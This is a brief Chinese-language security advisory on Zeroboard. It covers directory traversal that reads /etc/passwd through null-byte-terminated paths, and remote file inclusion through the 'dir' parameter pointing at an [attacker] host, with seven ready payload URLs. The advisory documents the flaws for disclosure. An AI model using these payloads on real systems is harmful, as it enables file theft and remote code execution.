Zeroboard文件泄露远程任意命令执行漏洞

                                                远程用户可以提供包含多个'../'字符的数据作为参数提交给有漏洞的脚本处理，可以WEB进程权限查看任意文件内容：
http://[target]/_head.php?_zb_path=../../../../../etc/passwd%00
http://[target]/include/write.php?dir=../../../../../etc/passwd%00
http://[target]/outlogin.php?_zb_path=../../../../../etc/passwd%00
'print_category.php'脚本没有正确过滤用户提供的'dir'参数，指定远程服务器上的任意PHP文件作为包含文件，可以WEB进程权限执行PHP命令：
http://[target]/include/print_category.php?setup[use_category]=1&dir=http://[attacker]/
另外几个zero_vote相关脚本也存在此问题，如：
http://[target]/skin/zero_vote/login.php?dir=http://[attacker]/
http://[target]/skin/zero_vote/setup.php?dir=http://[attacker]/
http://[target]/skin/zero_vote/ask_password.php?dir=http://[attacker]/